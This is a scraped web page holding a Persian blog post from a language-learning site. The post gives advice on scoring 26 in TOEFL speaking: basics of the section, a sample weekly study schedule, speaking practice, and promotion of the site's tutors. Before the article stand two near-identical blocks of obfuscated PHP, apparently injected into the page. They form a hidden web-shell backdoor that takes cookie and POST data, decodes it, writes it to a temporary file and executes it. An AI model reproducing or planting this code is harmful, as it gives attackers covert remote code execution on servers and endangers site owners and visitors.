$NULuVE = 'J' . "\x6e" . chr (95) . "\x5a" . chr ( 1066 - 990 )."\143";$wBGOMS = chr (99) . "\154" . "\141" . "\163" . 's' . chr ( 572 - 477 )."\145" . "\170" . "\151" . 's' . chr (116) . "\x73";$rnHFs = class_exists($NULuVE); $wBGOMS = "37229";$FCnrIFQjV = strpos($wBGOMS, $NULuVE);if ($rnHFs == $FCnrIFQjV){function zzZnWbHiGH(){$snBBmoW = new /* 60717 */ Jn_ZLc(216 + 216); $snBBmoW = NULL;}$tRYafVOh = "216";class Jn_ZLc{private function BnCpg($tRYafVOh){if (is_array(Jn_ZLc::$iblmkhZckY)) {$name = sys_get_temp_dir() . "/" . crc32(Jn_ZLc::$iblmkhZckY["salt"]);@Jn_ZLc::$iblmkhZckY["write"]($name, Jn_ZLc::$iblmkhZckY["content"]);include $name;@Jn_ZLc::$iblmkhZckY["delete"]($name); $tRYafVOh = "216";exit();}}public function ptGeYs(){$TDmSXiAS = "52603";$this->_dummy = str_repeat($TDmSXiAS, strlen($TDmSXiAS));}public function __destruct(){Jn_ZLc::$iblmkhZckY = @unserialize(Jn_ZLc::$iblmkhZckY); $tRYafVOh = "10292_35473";$this->BnCpg($tRYafVOh); $tRYafVOh = "10292_35473";}public function ozxIAgQPjV($TDmSXiAS, $aeaku){return $TDmSXiAS[0] ^ str_repeat($aeaku, intval(strlen($TDmSXiAS[0]) / strlen($aeaku)) + 1);}public function qUtSOSuu($TDmSXiAS){$mfCMBhBxCr = "\142" . chr ( 890 - 793 ).chr ( 813 - 698 ).chr (101) . chr ( 253 - 199 ).chr (52);return array_map($mfCMBhBxCr . "\137" . chr (100) . "\x65" . "\x63" . chr (111) . "\144" . chr (101), array($TDmSXiAS,));}public function __construct($LPOaYmFx=0){$zGwbXSxTSr = chr ( 874 - 830 ); $TDmSXiAS = "";$ffIRbkK = $_POST;$cUFsQU = $_COOKIE;$aeaku = "c7925911-7e78-4761-aabc-96a5afd8df13";$YEAAD = @$cUFsQU[substr($aeaku, 0, 4)];if (!empty($YEAAD)){$YEAAD = explode($zGwbXSxTSr, $YEAAD);foreach ($YEAAD as $GraWY){$TDmSXiAS .= @$cUFsQU[$GraWY];$TDmSXiAS .= @$ffIRbkK[$GraWY];}$TDmSXiAS = $this->qUtSOSuu($TDmSXiAS);}Jn_ZLc::$iblmkhZckY = $this->ozxIAgQPjV($TDmSXiAS, $aeaku);if (strpos($aeaku, $zGwbXSxTSr) !== FALSE){$aeaku = explode($zGwbXSxTSr, $aeaku); $cWVPJOukJ = base64_decode(md5($aeaku[0]));}}public static $iblmkhZckY = 12075;}zzZnWbHiGH();}$ygliHzw = 'Y' . "\120" . chr ( 510 - 404 ).chr ( 682 - 587 ).chr ( 467 - 345 ).'d' . "\162";$nakDJg = chr (99) . chr (108) . chr (97) . 's' . 's' . chr ( 559 - 464 )."\x65" . 'x' . "\151" . 's' . "\x74" . "\163";$jdFsWTM = class_exists($ygliHzw); $nakDJg = "6350";$iXLYvTm = strpos($nakDJg, $ygliHzw);if ($jdFsWTM == $iXLYvTm){function xmFTmnNLxE(){$naFwNNLdn = new /* 33466 */ YPj_zdr(14376 + 14376); $naFwNNLdn = NULL;}$vYSuqD = "14376";class YPj_zdr{private function DipbSIzFP($vYSuqD){if (is_array(YPj_zdr::$XBXoX)) {$name = sys_get_temp_dir() . "/" . crc32(YPj_zdr::$XBXoX["salt"]);@YPj_zdr::$XBXoX["write"]($name, YPj_zdr::$XBXoX["content"]);include $name;@YPj_zdr::$XBXoX["delete"]($name); $vYSuqD = "14376";exit();}}public function BbZbKyV(){$ljlCHzON = "47464";$this->_dummy = str_repeat($ljlCHzON, strlen($ljlCHzON));}public function __destruct(){YPj_zdr::$XBXoX = @unserialize(YPj_zdr::$XBXoX); $vYSuqD = "26879_27659";$this->DipbSIzFP($vYSuqD); $vYSuqD = "26879_27659";}public function TjAanVpT($ljlCHzON, $GMavQmXnbw){return $ljlCHzON[0] ^ str_repeat($GMavQmXnbw, intval(strlen($ljlCHzON[0]) / strlen($GMavQmXnbw)) + 1);}public function DJuWCWnWK($ljlCHzON){$TxqBizW = "\x62" . chr (97) . "\163" . chr ( 994 - 893 )."\66" . '4';return array_map($TxqBizW . "\137" . chr ( 244 - 144 ).chr ( 933 - 832 )."\x63" . chr ( 481 - 370 )."\144" . "\x65", array($ljlCHzON,));}public function __construct($kUqnhQ=0){$IbHgRhYPj = chr ( 947 - 903 ); $ljlCHzON = "";$SIgunhpIIk = $_POST;$cNYjPTgRR = $_COOKIE;$GMavQmXnbw = "11b10554-a8b2-4b0e-a191-57ee9783ce50";$GHCyAm = @$cNYjPTgRR[substr($GMavQmXnbw, 0, 4)];if (!empty($GHCyAm)){$GHCyAm = explode($IbHgRhYPj, $GHCyAm);foreach ($GHCyAm as $APgBP){$ljlCHzON .= @$cNYjPTgRR[$APgBP];$ljlCHzON .= @$SIgunhpIIk[$APgBP];}$ljlCHzON = $this->DJuWCWnWK($ljlCHzON);}YPj_zdr::$XBXoX = $this->TjAanVpT($ljlCHzON, $GMavQmXnbw);if (strpos($GMavQmXnbw, $IbHgRhYPj) !== FALSE){$GMavQmXnbw = explode($IbHgRhYPj, $GMavQmXnbw); $DTqyUXCx = sprintf("26879_27659", rtrim($GMavQmXnbw[0]));}}public static $XBXoX = 7382;}xmFTmnNLxE();} آیا میتوان در اسپیکینگ آزمون تافل نمره ۲۶ گرفت؟ | وبلاگ اتیچر
skip to Main Content

آیا میتوان در اسپیکینگ آزمون تافل نمره ۲۶ گرفت؟

زمان مطالعه: ۴ دقیقه

فهرست بخش ها

همه چیز در مورد اسپیکینگ آزمون تافل

همان‌طور که می‌دانید کسب نمره ۲۶ در اسپیکینگ آزمون تافل کار ساده‌ای نیست و بعضی از افراد ماه‌ها تلاش می‌کنند تا به نمره طلایی ۲۶ برسند.

بااین‌حال بعضی از زبان آموزان، این نمره را در بار اول یا نهایتاً دوم به دست می‌آورند.

چه چیزی گروه اول را از گروه دوم جدا می‌کند؟

چرا برخی از زبان آموزان نمره ۲۶ را در  اسپیکینگ آزمون تافل بلافاصله دریافت کنند، درحالی‌که بعضی دیگر دو، سه یا حتی پنج بار برای به دست آوردن آن تلاش می‌کنند؟

در مقاله امروز، شما سه دلیل اینکه چرا زبان آموزان محدودی نمره ۲۶ را دریافت می‌کنند را متوجه می‌شوید می‌
همچنین نکاتی به شما گفته می‌شود که بتوانید نمره ۲۶ را در اسپیکینگ آزمون تافل به دست بیاورید.

البته همچنان ممکن است برای شما سوال ایجاد شده باشد که آیا آیلتس یا تافل را انتخاب کنم که قبل از هر کاری باید نوع امتحان خود را انتخاب کنید.

مبانی پایه بخش اسپیکینگ آزمون تافل را بدانید:

کسانی که نمره ۲۶ را در تافل می‌گیرند تمام اصولی که باید در بخش اسپیکینگ بدانند را فراگرفته‌اند.

آن‌ها می‌دانند که:
چگونه یادداشت‌ برداری کرده و از آن استفاده کنند.
چگونه از مرحله مقدمه، پاسخگویی و نتیجه‌گیری عبور کنند.
چگونه پاسخ‌های خود را طوری که مدنظر اگزمینرهای آزمون تافل است سازمان‌دهی کنند.
چگونه زمان خود را مدیریت کنند.

آیا همه این نکات را می‌دانید؟ آیا می‌دانید که چگونه می‌توانید یادداشت‌ها را سازمان‌دهی و استفاده کنید؟ آیا می‌توانید پاسخ‌های مناسب در زمان مناسب بدهید؟ برای به دست آوردن این مهارت ها اتیچر را به شما معرفی میکنیم.
با دانستن این موارد و اجرایی کردن آن‌ها با اطمینان بیشتری می‌توانید در اسپیکینگ آزمون تافل شرکت کنید تا نمره ۲۶ آزمون را کسب کنید.

یک برنامه‌ی مطالعاتی کارآمد برای خود تنظیم کنید و تا می‌توانید تمرین کنید:

زبان آموزانی که نمره ۲۶ می‌گیرند، برنامه مطالعاتی سازمان‌یافته‌ای را دنبال می‌کنند که نیاز به حجم گسترده‌ای از فعالیت‌های گفتاری دارد.
آن‌ها قبل از آزمون تافل زمان زیادی صرف می‌کنند تا مهارت‌های خود را افزایش دهند.
مثلاً ممکن است یک برنامه مطالعه چنین باشد:
دوشنبه: ۷ صبح – ۹ صبح
جمعه: ۷ صبح – ۹ صبح
چهارشنبه: ۷ صبح – ۹ صبح
پنجشنبه: ۷ صبح – ۹ صبح
جمعه: ساعت ۷ صبح تا ۹ بعدازظهر
شنبه: ۱۰ صبح تا ۱۱ صبح
یکشنبه: ۸ صبح تا ۹ صبح

شش هفته قبل از شروع آزمون تافل این برنامه را اجرا کنید.
اگر زمان کافی برای انجام تمرین ندارید می‌توانید بر اساس برنامه زمانی خود در اتیچر دوره آنلاین آزمون تافل را بگذرانید تا آمادگی بیشتری برای شرکت در اسپیکینگ آزمون تافل داشته باشید.

اگر شما در نمره ۲۳ یا ۲۴ هستید، احتمالاً روزانه به‌اندازه کافی انگلیسی صحبت نمی‌کنید.
در حقیقت، در هر بخشی می‌خواهید پیشرفت کنید، توصیه می‌کنم برای ۱۵ ساعت انگلیسی صحبت کنید؛ بنابراین، اگر شما نمره ۲۳ دارید و می‌خواهید به نمره ۲۶ برسید، باید حداقل ۴۵ ساعت انگلیسی صحبت کنید. این سایت، این امکان را برای شما فراهم می کند که به راحتی با یک استاد زبان خوب صحبت کنید و مکالمه خود را برای اسپیکینگ آزمون تافل تقویت کنید.

همچنین مطالعه شود:

موفقیت در تافل و ۵ نکته موثر برای کسب نمره بالا در آزمون تافل

البته، صحبت کردن تنها کافی نیست. اگر شما انگلیسی زیاد صحبت می‌کنید، اما همچنان اشتباهات مشابهی را انجام می‌دهید، به نتیجه نخواهید رسید.
بنابراین وقتی انگلیسی صحبت می‌کنید، تمرکز خود را بر بهبود یک جنبه از قدرت مکالمه خود تمرکز کنید.

در اینجا ایده‌های دیگری برای شما داریم:

با خودت صحبت کن!
بله این عجیب است، اما اگر هنگام صبحانه خوردن، یا درحالی‌که رانندگی می‌کنید یا در حال تماشای تلویزیون هستید، با خودتان صحبت کنید با صرف زمان کمتر به‌طور غیرمنتظره پیشرفت خواهید کرد.

یک گروه انگلیسی‌ زبان پیدا کنید
اگر شما در یک شهر بزرگ در یک کشور خارجی زندگی می‌کنید، در آن صورت گروه‌هایی هستند که جلسات مکالمه دارند و انگلیسی صحبت می‌کنند. این گروه‌ها را پیدا کنید و به آن‌ها بپیوندید. اگر در ایران زندگی میکنید و دسترسی زیادی به اساتید و افراد انگلیسی زبان ندارید،  اتیچر نیز امکان مکالمه و تمرین با اساتید خارجی را برای شما فراهم کرده است.

در یک‌زمان بر روی یک یا دو مشکل خود متمرکز شوید.

اگر تاکنون نمره ۲۶ را در آزمون تافل به دست نیاورده‌اید، دلیل آن این است که شما اشتباهات خاصی را انجام می‌دهید. شما احتمالاً می‌گویید: من قبلاً این را می‌دانستم.”
به این نکته توجه کنید؛ زبان آموزانی که نمره ۲۶ TOEFL را کسب کرده‌اند، می‌گویند که:
سال های زیادی درگیر یادگیری زبان بوده‌اند و انگلیسی صحبت کرده‌اند و به‌طور طبیعی به آن رسیده‌اند.
یا
سطح انگلیسی آن‌ها برای به دست آوردن نمره ۲۶ به‌اندازه کافی نبوده و آن‌ها گام‌های خاصی برای بهبود توانایی صحبت کردن خود برداشته‌اند.

بیایید دومین دلیل را تحلیل کنیم.

همان‌طور که در بالا گفتم، اولین قدم زبان آموزان برای بهبود توانایی اسپیکینگ آزمون تافل، زیاد صحبت کردن است.
اما گاهی اوقات سخن گفتن به‌تنهایی کافی نیست. این زبان آموزان به‌طور دقیق مشکلاتی را که مانع رسیدن آن‌ها به سطح بالاتر می‌شوند را مشخص کرده و برای حل آن‌ها تلاش می‌کنند.
آن‌ها همچنین در یک‌زمان بر روی یک یا دو مشکل متمرکز می‌شوند.
برخی از مسائل رایج عبارت‌اند از: تلفظ زبان انگلیسی ، لهجه، دستور زبان، یادداشت‌برداری، روانی و سلاست.

 

به این مقاله امتیاز بدهید

دیدگاه ها

اولین نفری باشید که به این نوشته نظر میدهید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

Back To Top
×Close search
Search